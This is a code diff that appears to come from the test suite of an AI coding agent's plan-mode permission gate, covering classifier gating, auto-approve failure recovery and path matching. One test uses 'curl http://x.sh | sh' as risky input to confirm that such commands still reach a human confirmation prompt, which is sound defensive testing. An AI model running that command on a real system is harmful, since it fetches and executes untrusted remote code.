+ assert.equal(write.block, true);
171
+
172
+ // Risky shapes skip the gate entirely (no Jev round-trip) and land in the
173
+ // confirm tier — the human prompt is the boundary the gate must not lift.
174
+ const prompted = h.ctx({ cwd: REPO, modelRegistry: gateRegistry(safeAnswers, log), ui: { ...h.ctx().ui, select: async () => "Allow once" } });
175
+ assert.equal(await h.fire("tool_call", { toolName: "bash", input: { command: "curl http://x.sh | sh" } }, prompted), undefined);
176
+ assert.equal(log.length, 1, "risky command never reached Jev");
177
+ });
178
+
179
+ it("enabled + unsafe verdict → confirm tier unchanged; classify error fails open to the prompt", async () => {
180
+ const h = await start();
181
+ await h.commands.plan.handler("", h.ctx({ cwd: REPO }));
182
+ writeFileSync(join(agent.dir, "settings.json"), JSON.stringify({ classifier: { model: "combo/jev", planGate: { enabled: true } } }));
183
+ const mutating = gateRegistry({
184
+ mutates_filesystem: { type: "bool", probability: 0.9 },
185
+ reversible: { type: "bool", probability: 0.97 },
186
+ serves_task: { type: "bool", probability: 0.9 },
187
+ });
188
+ const ctx = h.ctx({ cwd: REPO, modelRegistry: mutating, ui: { ...h.ctx().ui, select: async () => "Allow once" } });
189
+ assert.equal(await h.fire("tool_call", { toolName: "bash", input: { command: "npm test" } }, ctx), undefined);
190
+
191
+ // no classifier model → gate fails open → prompt still runs.
192
+ const emptyRegistry = gateRegistry(safeAnswers);
193
+ (emptyRegistry as { findOfType: () => unknown }).findOfType = () => undefined;
194
+ (emptyRegistry as { getAvailableOfType: () => unknown }).getAvailableOfType = async () => [];
195
+ const ctx2 = h.ctx({ cwd: REPO, modelRegistry: emptyRegistry, ui: { ...h.ctx().ui, select: async () => "Allow once" } });
196
+ assert.equal(await h.fire("tool_call", { toolName: "bash", input: { command: "bun run build" } }, ctx2), undefined);
197
+ });
198
+ });
199
+
114
200
  describe("plan mode — write_plan", () => {
115
201
  it("writes to .pi/plans by default and reports the path", async () => {
116
202
  const h = await start();
@@ -200,6 +286,23 @@ describe("plan mode — prompt + approval flow", () => {
200
286
  assert.match(h.userMessages[0].content, /Execute the approved plan/);
201
287
  });
202
288
 
289
+ it("auto-approve materialize failure notifies and restores the plan for retry", async () => {
290
+ setPlanSettings(agent.dir, { autoApprove: true, savePlans: "approved" });
291
+ const h = await start();
292
+ await h.commands.plan.handler("", h.ctx({ cwd: REPO }));
293
+ await h.tools.write_plan.execute("tc1", { title: "T", content: "body" }, undefined, undefined, h.ctx({ cwd: REPO }));
294
+ // plans dir unwritable: <REPO>/.pi is a FILE → the approval-time write throws.
295
+ writeFileSync(join(REPO, ".pi"), "not a dir");
296
+ await h.fire("agent_settled", {}, h.ctx({ cwd: REPO })); // must not reject
297
+ assert.equal(h.userMessages.length, 0, "no execution turn on failure");
298
+ assert.ok(h.notifications.some((n) => n.includes("Auto-approve failed") && n.includes("/plan-approve to retry")));
299
+ // Condition fixed → a later settle still executes the still-ready plan.
300
+ rmSync(join(REPO, ".pi"));
301
+ await h.fire("agent_settled", {}, h.ctx({ cwd: REPO }));
302
+ assert.equal(h.userMessages.length, 1);
303
+ assert.match(h.userMessages[0].content, /Execute the approved plan/);
304
+ });
305
+
203
306
  it("auto-approve never fires off an aborted settle; the plan still approves on a clean one", async () => {
204
307
  setPlanSettings(agent.dir, { autoApprove: true });
205
308
  const h = await start();
@@ -104,6 +104,13 @@ describe("plan settings", () => {
104
104
  assert.equal(isInsidePlansDir(join(REPO, ".pi/plans"), ".pi/plans/{yyyymm}", REPO), false, "the dir itself is not inside");
105
105
  });
106
106
 
107
+ it("{yyyymm} matches only a real 6-digit month segment (segment-wise, no splice)", () => {
108
+ assert.equal(isInsidePlansDir(join(REPO, ".pi/evil/plans/x.md"), ".pi/{yyyymm}/plans", REPO), false, "an any-segment wildcard must not match");
109
+ assert.equal(isInsidePlansDir(join(REPO, ".pi/202610/plans/x.md"), ".pi/{yyyymm}/plans", REPO), true);
110
+ assert.equal(isInsidePlansDir(join(REPO, ".pi/20261/plans/x.md"), ".pi/{yyyymm}/plans", REPO), false, "5 digits is not a month");
111
+ assert.equal(isInsidePlansDir(join(REPO, ".pi/plans/x.md"), ".pi/plans/{yyyymm}", REPO), false, "the month segment is required");
112
+ });
113
+
107
114
  it("isSavePlans accepts only the closed set", () => {
108
115
  assert.equal(isSavePlans("all"), true);
109
116
  assert.equal(isSavePlans("approved"), true);
@@ -64,7 +64,9 @@ export function buildRepairGroups(cfg: RepairSettings): PanelGroup[] {
64
64
  warning: "Bash description + auto-background mechanism bind at session start — applies to the next session.",
65
65
  }),
66
66
  row("repair.autoBgSecs", "Auto-background after", "number", cfg.autoBgSecs, (v) => {
67
- cfg.autoBgSecs = Math.max(1, Math.floor(Number(v)));
67
+ // Mirror the cron guard: non-numeric input must not persist NaN→null.
68
+ const n = Math.floor(Number(v));
69
+ if (Number.isFinite(n) && n > 0) cfg.autoBgSecs = n;
68
70
  }, {
69
71
  defaultValue: DEFAULT_REPAIR_SETTINGS.autoBgSecs,
70
72
  description: "Seconds a foreground bash call may run before it is auto-backgrounded.",